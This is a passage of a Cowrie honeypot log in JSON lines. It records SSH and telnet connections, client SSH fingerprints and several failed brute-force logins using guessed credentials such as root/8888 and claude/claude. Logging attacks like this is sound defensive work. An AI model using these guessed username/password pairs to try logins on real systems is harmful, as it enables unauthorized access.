-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:46:45.002591Z","src_ip":"43.134.100.175","session":"34ae0e4a1496","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":49646,"dst_ip":"10.17.0.5","dst_port":23,"session":"91275cb98aac","protocol":"telnet","message":"New connection: 192.119.13.58:49646 (10.17.0.5:23) [session: 91275cb98aac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:46:45.352435Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"porn","message":"login attempt [root/porn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:46:46.018511Z","src_ip":"43.134.100.175","session":"34ae0e4a1496","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:46:47.268559Z","src_ip":"43.134.100.175","session":"34ae0e4a1496","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":39406,"dst_ip":"10.17.0.5","dst_port":23,"session":"0705d19470dc","protocol":"telnet","message":"New connection: 192.119.13.58:39406 (10.17.0.5:23) [session: 0705d19470dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:46:50.755535Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":49862,"dst_ip":"10.17.0.5","dst_port":23,"session":"5b503e5048a5","protocol":"telnet","message":"New connection: 192.119.13.58:49862 (10.17.0.5:23) [session: 5b503e5048a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:46:54.051057Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":57250,"dst_ip":"10.17.0.5","dst_port":23,"session":"58b8ff2e8a05","protocol":"telnet","message":"New connection: 192.119.13.58:57250 (10.17.0.5:23) [session: 58b8ff2e8a05]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:46:56.299270Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":57640,"dst_ip":"10.17.0.5","dst_port":23,"session":"61546c6fd4cb","protocol":"telnet","message":"New connection: 192.119.13.58:57640 (10.17.0.5:23) [session: 61546c6fd4cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:46:56.414798Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.182.198","src_port":47642,"dst_ip":"159.203.135.109","dst_port":22,"session":"d15827eaf4f2","protocol":"ssh","message":"New connection: 103.75.182.198:47642 (159.203.135.109:22) [session: d15827eaf4f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:46:56.429510Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:46:56.435399Z","src_ip":"103.75.182.198","session":"d15827eaf4f2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:46:56.676980Z","src_ip":"103.75.182.198","session":"d15827eaf4f2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"433243650r","message":"login attempt [root/433243650r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:46:57.403804Z","src_ip":"103.75.182.198","session":"d15827eaf4f2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":59616,"dst_ip":"10.17.0.5","dst_port":23,"session":"963e8821333f","protocol":"telnet","message":"New connection: 192.119.13.58:59616 (10.17.0.5:23) [session: 963e8821333f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:46:58.034042Z"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:46:58.648889Z","src_ip":"103.75.182.198","session":"d15827eaf4f2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":53506,"dst_ip":"10.17.0.5","dst_port":23,"session":"70b2ad2221a2","protocol":"telnet","message":"New connection: 192.119.13.58:53506 (10.17.0.5:23) [session: 70b2ad2221a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:47:03.601157Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":42478,"dst_ip":"10.17.0.5","dst_port":23,"session":"552afa4e98f4","protocol":"telnet","message":"New connection: 192.119.13.58:42478 (10.17.0.5:23) [session: 552afa4e98f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:47:08.705993Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.163.121.249","src_port":46816,"dst_ip":"159.203.135.109","dst_port":22,"session":"5b345464522d","protocol":"ssh","message":"New connection: 43.163.121.249:46816 (159.203.135.109:22) [session: 5b345464522d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:47:09.856379Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:47:09.861091Z","src_ip":"43.163.121.249","session":"5b345464522d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:47:10.097756Z","src_ip":"43.163.121.249","session":"5b345464522d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.7054922580719,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:47:10.609243Z","src_ip":"192.119.13.58","session":"80fc6883324e","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"claude","password":"claude","message":"login attempt [claude/claude] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:47:11.085976Z","src_ip":"43.163.121.249","session":"5b345464522d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.175.15","src_port":46472,"dst_ip":"159.203.135.109","dst_port":22,"session":"2db3a10aa395","protocol":"ssh","message":"New connection: 103.77.175.15:46472 (159.203.135.109:22) [session: 2db3a10aa395]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:47:11.201458Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:47:11.204695Z","src_ip":"103.77.175.15","session":"2db3a10aa395","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:47:11.456600Z","src_ip":"103.77.175.15","session":"2db3a10aa395","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"pandora","message":"login attempt [root/pandora] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:47:12.217116Z","src_ip":"103.77.175.15","session":"2db3a10aa395","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":51.19596219062805,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:47:12.301432Z","src_ip":"192.119.13.58","session":"ba566cbe505c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:47:12.325495Z","src_ip":"43.163.121.249","session":"5b345464522d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:47:13.473262Z","src_ip":"103.77.175.15","session":"2db3a10aa395","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.222.198","src_port":57168,"dst_ip":"159.203.135.109","dst_port":22,"session":"014f9b5dd1a9","protocol":"ssh","message":"New connection: 69.6.222.198:57168 (159.203.135.109:22) [session: 014f9b5dd1a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:47:16.061507Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:47:16.067151Z","src_ip":"69.6.222.198","session":"014f9b5dd1a9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:47:16.187156Z","src_ip":"69.6.222.198","session":"014f9b5dd1a9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"opt","message":"login attempt [root/opt] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:47:16.684342Z","src_ip":"69.6.222.198","session":"014f9b5dd1a9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:47:17.803859Z","src_ip":"69.6.222.198","session":"014f9b5dd1a9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":45566,"dst_ip":"10.17.0.5","dst_port":23,"session":"75898b8ba228","protocol":"telnet","message":"New connection: 192.119.13.58:45566 (10.17.0.5:23) [session: 75898b8ba228]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:47:17.817283Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.195.236.96","src_port":41506,"dst_ip":"10.17.0.5","dst_port":22,"session":"5afc710cb33f","protocol":"ssh","message":"New connection: 103.195.236.96:41506 (10.17.0.5:22) [session: 5afc710cb33f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:47:18.383586Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:47:18.388463Z","src_ip":"103.195.236.96","session":"5afc710cb33f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:47:18.628413Z","src_ip":"103.195.236.96","session":"5afc710cb33f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"8888","message":"login attempt [root/8888] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:47:19.338858Z","src_ip":"103.195.236.96","session":"5afc710cb33f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.25185585021973,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:47:20.079190Z","src_ip":"192.119.13.58","session":"89d8ba03d00f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":54028,"dst_ip":"10.17.0.5","dst_port":23,"session":"0e4e351f6a78","protocol":"telnet","message":"New connection: 192.119.13.58:54028 (10.17.0.5:23) [session: 0e4e351f6a78]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:47:20.237982Z"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:47:20.577501Z","src_ip":"103.195.236.96","session":"5afc710cb33f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.645286321640015,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:47:22.253250Z","src_ip":"192.119.13.58","session":"8bc7c85e99b7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":48.151604413986206,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:47:25.331579Z","src_ip":"192.119.13.58","session":"fa67e9069f3a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"46.19.67.181","src_port":40858,"dst_ip":"10.17.0.5","dst_port":22,"session":"0abdf98fbb21","protocol":"ssh","message":"New connection: 46.19.67.181:40858 (10.17.0.5:22) [session: 0abdf98fbb21]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:47:25.684012Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:47:25.689202Z","src_ip":"46.19.67.181","session":"0abdf98fbb21","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:47:25.805255Z","src_ip":"46.19.67.181","session":"0abdf98fbb21","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"friend","message":"login attempt [root/friend] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:47:26.152467Z","src_ip":"46.19.67.181","session":"0abdf98fbb21","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:47:27.272094Z","src_ip":"46.19.67.181","session":"0abdf98fbb21","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.106913328170776,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:47:28.459200Z","src_ip":"192.119.13.58","session":"91275cb98aac","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.43220138549805,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:47:33.731373Z","src_ip":"192.119.13.58","session":"58b8ff2e8a05","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.829723596572876,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:47:35.585134Z","src_ip":"192.119.13.58","session":"0705d19470dc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.41424202919006,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:47:36.465200Z","src_ip":"192.119.13.58","session":"5b503e5048a5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.607462882995605,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:47:41.641249Z","src_ip":"192.119.13.58","session":"963e8821333f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.06891107559204,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:47:41.774593Z","src_ip":"192.119.13.58","session":"552afa4e98f4","protocol":"telnet"}
